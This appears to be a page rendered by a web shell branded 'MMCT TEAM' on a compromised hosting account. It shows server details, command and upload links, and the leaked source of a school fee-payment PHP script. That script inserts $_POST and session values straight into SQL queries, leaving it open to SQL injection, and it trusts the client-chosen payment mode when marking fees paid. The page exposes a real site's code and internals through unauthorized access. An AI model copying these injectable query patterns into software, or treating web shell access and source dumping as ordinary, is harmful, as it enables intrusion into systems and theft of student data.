MMCT TEAM
Server IP : 2a02:4780:3:1378:0:3736:a38e:10  /  Your IP : 3.138.123.118
Web Server : LiteSpeed
System : Linux sg-nme-web1278.main-hosting.eu 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/smsoft.in/public_html/demo/src/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/smsoft.in/public_html/demo/src/../pay_fees_process_calcu1.php
<?php 

    // First we execute our common code to connection to the database and start the session 
    require("common.php"); 
     
    // At the top of the page we check to see whether the user is logged in or not 
    if(empty($_SESSION['Phone_user'])) 
    { 
        // If they are not, we redirect them to the login page. 
        header("Location: index.php"); 
         
        // Remember that this die statement is absolutely critical.  Without it, 
        // people can view your members-only content without logging in. 
        die("Redirecting to index.php"); 
    } 
     
    // Everything below this point in the file is secured by the login system 
     
    // We can display the user's username to them by reading it from the session array.  Remember that because 
    // a username is user submitted content we must use htmlentities on it before displaying it to the user. 
?> 



<?php

          //include "config/config.php";
include "config/config.php";

include_once 'sms.php';
$today= date("Y-m-d");
$reci=$_POST["optionsRadios"];
$hdr=array();
$h=array();
$subAr=array();
$gt=0;
$totaa=0;



 if (isset($_SESSION['subAr']))
  if ($_SESSION['subAr'] != NULL)
  {
      $subAr=$_SESSION['subAr']; 	
      

  }
if (isset($_SESSION['headAr']))
  if ($_SESSION['headAr'] != NULL){
      $headAr=$_SESSION["headAr"]; 

  }
if (isset($_SESSION['key']))
  if ($_SESSION['key'] != NULL){
      $sid=$_SESSION['key'];                  
  }


   
$paymentmode=$_POST["paymentmode"];
//echo $paymentmode."<br>";
$Fine=$_POST["Fine"]; 
$total=$_POST['total'];

 $Grand_Total=$_POST["Grand_Total"];
//echo "G=$Grand_Total";
//echo "<br>";


$dn="";
if($paymentmode == "Cash")
{
 $Cash=$_POST["Cash"];
$flag=1;	
}
if($paymentmode == "Online")
{
 
$flag=0;	
}

if($paymentmode == "Cheque")
{
 $dn=$_POST["Cheque_date_number"];	
$flag=0;
}

if($paymentmode == "DD")
{
 $dn=$_POST["DD_date_number"];	
$flag=1;
}

if($paymentmode == "Challan")
{
 $dn=$_POST["Challan_date_number"];	
$flag=1;
}

foreach ($subAr as $id) 
{
	//echo "subhead=$id<br>";
$sub_res1=mysqli_query($con,"select * from `stud_basic2` where `Subhead_Id` = '$id' and `Stud_Id` = '$sid'");
 $sub1=mysqli_fetch_array($sub_res1);
array_push($hdr, $sub1['Head_Id']);
}


 foreach ($subAr as $key => $value) 
 {
        $h[$hdr[$key]][] = $value;
 }


    
    foreach ($headAr as $headId) 
    {
    	//echo "head=$headId<br>"; //
    		$subheadid="";
    		$c_due=0;
    		 $totaa=0;
    	for ($i=0; $i < count($h[$headId]); $i++)
    	{ 

    		
$id1=$h[$headId][$i]; //sub head
$sub_res=mysqli_query($con,"select * from `stud_basic2` where `Subhead_Id` = '$id1' and `Stud_Id` = '$sid'");
 		$sub=mysqli_fetch_array($sub_res);
 		 
 		/* $sub['Head_Id']   //Head Id
		$sub['Subhead_Id'] //Subhead ID 
		$sub['Total_Amount']  //Total Amount 
		$sub['Paid'] //Paid Amount
		$sub['Balance'] //Balance   */

		if($flag==1) 
		{

		if(!mysqli_query($con,"UPDATE `stud_basic2` SET `Paid` = '$sub[Balance]', `Balance` = '0' WHERE `Subhead_Id` = '$id1' and 
		`Stud_Id`='$sid'"))
						{
	    			  echo("Error description: " . mysqli_error($con));
						}
		}

			$subheadid=$subheadid."/".$sub['Subhead_Id'];
        $subb_res=mysqli_query($con,"select * from `sub_head` where Sub_Id = '$sub[Subhead_Id]'");
        $subb=mysqli_fetch_array($subb_res);
        $totaa=$totaa+$subb['Amount'];
			//echo "<br>$subheadid";
			
    	} // subheadloop
    		$rep_code_res=mysqli_query($con,"select * from `head` where Head_Id = '$headId'");
    		$rep_code=mysqli_fetch_array($rep_code_res);
    		if(!$rep_code_res1=mysqli_query($con,"select MAX(`ReciptCounter`) from `paid_fees` where `Head_Id` = '$headId'"))
    		{
    			  echo("Error description: " . mysqli_error($con));

    		}    		
    		$rep_code1=mysqli_fetch_array($rep_code_res1);
    		$cnt=$rep_code1['0']+1;
    		$ReciptCounter="$rep_code[ReciptName]"."-"."$cnt";
			//echo "<br>$ReciptCounter<br>";

   $ck_res= mysqli_query($con,"select * from paid_fees where Subhead_Ids = '$subheadid' and Stud_Id = '$sid'");
   $ro=mysqli_num_rows($ck_res);
   if($ro==0)
   {
      $due_res=mysqli_query($con,"SELECT * FROM `head` where `Head_Id` = '$headId'");
  $due=mysqli_fetch_array($due_res);
  if($due['Last_Date'] < $today)
  {
    $date1=date_create("$due[Last_Date]");
    $date2=date_create("$today");
    $diff=date_diff($date1,$date2);
    $difff= $diff->format("%a");
    $c_due=$due['Fine_Amount']*$difff;
    //echo "$c_due";
    
  }
  $g_t=$totaa+$c_due;
    		if(mysqli_query($con,"INSERT INTO `paid_fees` 
			(`Stud_Id`,`Recipt_No`,`ReciptCounter`, `Head_Id`, `Subhead_Ids`, `Paid_date`, `Mode`,`DateNumber`, `Fine_Amount`, `Online_Charge`, `Total_Amount`, `Grand_Total`, `flag`) 
			VALUES 
			('$sid','$ReciptCounter','$cnt', '$headId', '$subheadid', '$today','$paymentmode','$dn', '$c_due', '0', '$totaa', '$g_t', '$flag')"))
    	{
//header("location:pay_fees_process_calcu.php");
    		
    	}
      else
      {
         echo("Error description: " . mysqli_error($con));
      }
    }
			//echo "<br><br><br>";
    	
    } // head loop
    


?>

<!DOCTYPE html>
<html lang="en">
<head>

	
	<!-- start: Meta -->
	<meta charset="utf-8">
<title>Fees Management</title>	<meta name="description" content="Bootstrap Metro Dashboard">
	<meta name="author" content="Dennis Ji">
	<meta name="keyword" content="Metro, Metro UI, Dashboard, Bootstrap, Admin, Template, Theme, Responsive, Fluid, Retina">
	<!-- end: Meta -->
	
	<!-- start: Mobile Specific -->
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<!-- end: Mobile Specific -->
	
	<!-- start: CSS -->
	<link id="bootstrap-style" href="css/bootstrap.min.css" rel="stylesheet">
	<link href="css/bootstrap-responsive.min.css" rel="stylesheet">
	<link id="base-style" href="css/style.css" rel="stylesheet">
	<link id="base-style-responsive" href="css/style-responsive.css" rel="stylesheet">
	<link href='http://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&subset=latin,cyrillic-ext,latin-ext' rel='stylesheet' type='text/css'>
	<!-- end: CSS -->
	

	<!-- The HTML5 shim, for IE6-8 support of HTML5 elements -->
	<!--[if lt IE 9]>
	  	<script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>
		<link id="ie-style" href="css/ie.css" rel="stylesheet">
	<![endif]-->
	
	<!--[if IE 9]>
		<link id="ie9style" href="css/ie9.css" rel="stylesheet">
	<![endif]-->
		
	<!-- start: Favicon -->
	<link rel="shortcut icon" href="../paper/paper/img/favicon.ico">
	<!-- end: Favicon -->
	
		<style type="text/css">
<!--
.style1 {
	color: #3300CC;
	font-weight: bold;
}
.style2 {
	color: #FF0000;
	font-weight: bold;
}
.style4 {
	color: #CC00FF;
	font-weight: bold;
}
hr.style1{
	border-top: 1px solid #8c8b8b;
}


hr.style2 {
	border-top: 3px double #8c8b8b;
}

hr.style3 {
	border-top: 1px dashed #8c8b8b;
}

hr.style4 {
	border-top: 1px dotted #8c8b8b;
}

hr.style5 {
	background-color: #fff;
	border-top: 2px dashed #8c8b8b;
}


hr.style6 {
	background-color: #fff;
	border-top: 2px dotted #8c8b8b;
}

hr.style7 {
	border-top: 1px solid #8c8b8b;
	border-bottom: 1px solid #fff;
}


hr.style8 {
	border-top: 1px solid #8c8b8b;
	border-bottom: 1px solid #fff;
}
hr.style8:after {
	content: '';
	display: block;
	margin-top: 2px;
	border-top: 1px solid #8c8b8b;
	border-bottom: 1px solid #fff;
}

hr.style9 {
	border-top: 1px dashed #8c8b8b;
	border-bottom: 1px dashed #fff;
}

hr.style10 {
	border-top: 1px dotted #8c8b8b;
	border-bottom: 1px dotted #fff;
}


hr.style11 {
	height: 6px;
	background: url(http://ibrahimjabbari.com/english/images/hr-11.png) repeat-x 0 0;
    border: 0;
}


hr.style12 {
	height: 6px;
	background: url(http://ibrahimjabbari.com/english/images/hr-12.png) repeat-x 0 0;
    border: 0;
}

hr.style13 {
	height: 5px;
	border: 0;
	box-shadow: 0 5px 5px -5px #8c8b8b inset;
}


hr.style14 { 
  border: 0; 
  height: 1px; 
  background-image: -webkit-linear-gradient(left, #f0f0f0, #8c8b8b, #f0f0f0);
  background-image: -moz-linear-gradient(left, #f0f0f0, #8c8b8b, #f0f0f0);
  background-image: -ms-linear-gradient(left, #f0f0f0, #8c8b8b, #f0f0f0);
  background-image: -o-linear-gradient(left, #f0f0f0, #8c8b8b, #f0f0f0); 
}


hr.style15 {
	border-top: 4px double #8c8b8b;
	text-align: center;
}
hr.style15:after {
	content: '\002665';
	display: inline-block;
	position: relative;
	top: -15px;
	padding: 0 10px;
	background: #f0f0f0;
	color: #8c8b8b;
	font-size: 18px;
}

hr.style16 { 
  border-top: 1px dashed #8c8b8b; 
} 
hr.style16:after { 
  content: '\002702'; 
  display: inline-block; 
  position: relative; 
  top: -12px; 
  left: 40px; 
  padding: 0 3px; 
  background: #f0f0f0; 
  color: #8c8b8b; 
  font-size: 18px; 
}


hr.style17 {
	border-top: 1px solid #8c8b8b;
	text-align: center;
}
hr.style17:after {
	content: '?';
	display: inline-block;
	position: relative;
	top: -14px;
	padding: 0 10px;
	background: #f0f0f0;
	color: #8c8b8b;
	font-size: 18px;
	-webkit-transform: rotate(60deg);
	-moz-transform: rotate(60deg);
	transform: rotate(60deg);
}


hr.style18 { 
  height: 30px; 
  border-style: solid; 
  border-color: #8c8b8b; 
  border-width: 1px 0 0 0; 
  border-radius: 20px; 
} 
hr.style18:before { 
  display: block; 
  content: ""; 
  height: 30px; 
  margin-top: -31px; 
  border-style: solid; 
  border-color: #8c8b8b; 
  border-width: 0 0 1px 0; 
  border-radius: 20px; 
}




</style>
<style>
        table {
            font-family: arial, sans-serif;
            border-collapse: collapse;
            width: 100%;
        }

        td, th {
            border: 1px solid #dddddd;
            text-align: left;
            padding: 8px;
        }

        tr:nth-child(even) {
            background-color: #dddddd;
        }
    </style>
    <script src="https://code.jquery.com/jquery-1.12.4.min.js" integrity="sha256-ZosEbRLbNQzLpnKIkEdrPv7lOy9C27hHQ+Xp8a4MxAQ=" crossorigin="anonymous"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jspdf/1.3.5/jspdf.min.js"></script>
 </head>
<body>
    <input type="button" id="create_pdf" value="Generate PDF">
    <form class="form" style="max-width: none; width: 1005px;">

<table border="3" width="800" align="center">
		<tr>
			<td>
				<h1 align="Middle"><?php include "school.txt";?> / Images With Header</h1>
				<hr>
			</td>
		</tr>
<?php
date_default_timezone_set('Asia/Kolkata');

$date = date('FORMAT'); // FORMAT Eg : Y-m-d H:i:s

$current_date =  date('d-m-Y H:i:s');
$r1=mysqli_query($con,"select * from `stud_basic` where `Stud_Id` = '$sid'");
$row1=mysqli_fetch_array($r1);
?>
<tr>
	<td>
	<!--	<p align="left">Recipt Number : <?php //echo $ReciptCounter; ?> -->
		<p align="right"> <?php echo $current_date;?></p> 
<table  border="" width="800">
						  <thead>
							  <tr>
								  <th>Name</th>
								  <th>Class/Division</th>
								  <th>Reg_No</th>
								  <th>Phone No</th>
							  </tr>
						  </thead>   
						  <tbody>
						  	<?php 

						  		
						  	?>
						<tr>
						<td align="center"><?php echo "$row1[Name]"; ?></td>
						<td align="center"><?php echo "$row1[Class]"; ?>/<?php echo "$row1[Division]"; ?></td>
						<td align="center"><?php echo "$row1[Reg_No]"; ?></td>
						<th align="center"><?php echo "$row1[Phone]"; ?></th>
						</tr>
						
					
						</tbody>
					  </table>

					</td>
				</tr>
				<tr>
					<td>
						<?php
						foreach ($headAr as $headId) 
    {
    	//echo "head=$headId<br>"; //
    		$subheadid="";
    		$head_total=0;
    	 
    	$head_dis_res=mysqli_query($con,"select * from `head` where `Head_Id` = '$headId'");
 		$head_dis=mysqli_fetch_array($head_dis_res); ?>
  		 <h3><?php echo "$head_dis[Name]"; ?></h3>
    	<?php	 
    	for ($i=0; $i < count($h[$headId]); $i++)
    	{ 
    		
    	$id1=$h[$headId][$i]; //sub head
    	$sub_dis_res=mysqli_query($con,"select * from `sub_head` where `Sub_Id` = '$id1'");
 		$sub_dis=mysqli_fetch_array($sub_dis_res); ?> 
 			<table border="0" width="800">
 				<tr>
 					<td>
 						<?php if($reci == "detailed") 
 						{
 							$c=$i+1;
 							?>
  		 <?php echo "$c. $sub_dis[Name]";?> </td><td><div align="right" > <?php  echo "$sub_dis[Amount]"; } 
  		 $head_total=$head_total+$sub_dis['Amount'];
  		 ?> </div>

    	</td>
    </tr>
</table>
    	<?php	
      
    	$sub_res=mysqli_query($con,"select * from `stud_basic2` where `Subhead_Id` = '$id1' and `Stud_Id` = '$sid'");
 		$sub=mysqli_fetch_array($sub_res);
 		 
 		/* $sub['Head_Id']   //Head Id
		$sub['Subhead_Id'] //Subhead ID 
		$sub['Total_Amount']  //Total Amount 
		$sub['Paid'] //Paid Amount
		$sub['Balance'] //Balance   */

		}
		 // subheadloop
    		 
			 ?>
			  
			 <h4 align="right"><?php echo "Total  -  $head_total";   ?></h4>
			 <hr class="style6">


			 <?php

			 $gt=$gt+$head_total;
			 $message="Dear $row1[Name] We Received Rs $gt on $current_date in the Mode of $paymentmode Thanking You";

    } // head loop
?>
<h3 align="right"><?php echo "Grand Total  -  $gt";   ?></h3>
<?php
$f = new NumberFormatter("en", NumberFormatter::SPELLOUT);

 ?>
<h3 align="right"><?php echo "In Words : ".$f->format($gt)." Only";   ?></h3>
</td></tr></table>
<?php
 

?>
</form>
</body>
</html>

<?php

 class MainSms
    {
        public function call()
        {
          include "config/config.php";
          $total=$_POST['total'];

 $Grand_Total=$_POST["Grand_Total"];
         $paymentmode=$_POST["paymentmode"];
          $sid=$_SESSION['key'];
          $today= date("Y-m-d");
          $r1=mysqli_query($con,"select * from `stud_basic` where `Stud_Id` = '$sid'");
          $row1=mysqli_fetch_array($r1);
         // $to="9880832454";
           //$message=$row1['Name'];
           $me=urlencode("Dears ". $row1['Name']." We Received Rs ".$Grand_Total." on ".$today." in the Mode of ".$paymentmode ."Thanking You");
           $message=$me;
           //echo "$message";
           if($trustieNumbers != ''){
            $to = $row1['Phone'].",".$trustieNumbers;     
           }else{
               $to = $row1['Phone'];
           }
           //instantiate a new Sms Rest Client with argument api,senderID,base_URL.
            $sms     = new Sms("$api","$id" , "$url");
            $dlr_url = 'https://solutionsinfini.net/dlr/trigger.php?sent={sent}&delivered={delivered}&msgid={msgid}&sid={sid}&status={status}&reference={reference}&custom1={custom1}&custom2={custom2}';

            $obj = $sms->sendSms("$to", "$message", [
                //'dlr_url' => $dlr_url,
                //'time'    => '2017-06-11 11:17:55 AM',
                //'unicode' => '1',
                //'flash' => '1',
                //'format'  => 'json',
                //'port'    => '8223',
                ]);


           // echo '<pre>';
            //print_r($obj);
              
   }
 }
  $main = new MainSms();
    $main->call();
?><center>
<a href="user_Pay_fees.php"><input type="button" Value="Exit"></a>
</center>




<script>
    (function () 
  {
  
        var
         form = $('.form'),
         cache_width = form.width(),
         a4 = [1200, 841.89]; // for a4 size paper width and height

        $('#create_pdf').on('click', function () 
    {
            $('body').scrollTop(0);
            createPDF();
        });
        //create pdf
        function createPDF() {
    
            getCanvas().then(function (canvas) {
                var
                 img = canvas.toDataURL("image/png"),
                 doc = new jsPDF({
                     unit: 'px',
                     format: a4
                 });
                doc.addImage(img, 'JPEG', 20, 20);
                doc.save('<?php echo "$row1[Name]".".pdf"; ?>');
                form.width(cache_width);
            });
        }

        // create canvas object
        function getCanvas() {
            form.width((a4[0]).css('max-width', '100%');
            return html2canvas(form, {
                imageTimeout: 2000,
                removeContainer: true
            });
        }

    }());
</script>
<script>
    /*
 * jQuery helper plugin for examples and tests
 */
    (function ($) {
        $.fn.html2canvas = function (options) {
            var date = new Date(),
            $message = null,
            timeoutTimer = false,
            timer = date.getTime();
            html2canvas.logging = options && options.logging;
            html2canvas.Preload(this[0], $.extend({
                complete: function (images) {
                    var queue = html2canvas.Parse(this[0], images, options),
                    $canvas = $(html2canvas.Renderer(queue, options)),
                    finishTime = new Date();

                    $canvas.css({ position: 'absolute', left: 0, top: 0 }).appendTo(document.body);
                    $canvas.siblings().toggle();

                    $(window).click(function () {
                        if (!$canvas.is(':visible')) {
                            $canvas.toggle().siblings().toggle();
                            throwMessage("Canvas Render visible");
                        } else {
                            $canvas.siblings().toggle();
                            $canvas.toggle();
                            throwMessage("Canvas Render hidden");
                        }
                    });
                    throwMessage('Screenshot created in ' + ((finishTime.getTime() - timer) / 1000) + " seconds<br />", 4000);
                }
            }, options));

            function throwMessage(msg, duration) {
                window.clearTimeout(timeoutTimer);
                timeoutTimer = window.setTimeout(function () {
                    $message.fadeOut(function () {
                        $message.remove();
                    });
                }, duration || 2000);
                if ($message)
                    $message.remove();
                $message = $('<div ></div>').html(msg).css({
                    margin: 0,
                    padding: 10,
                    background: "#000",
                    opacity: 0.7,
                    position: "fixed",
                    top: 10,
                    right: 10,
                    fontFamily: 'Tahoma',
                    color: '#fff',
                    fontSize: 12,
                    borderRadius: 12,
                    width: 'auto',
                    height: 'auto',
                    textAlign: 'center',
                    textDecoration: 'none'
                }).hide().fadeIn().appendTo('body');
            }
        };
    })(jQuery);

</script>

MMCT - 2023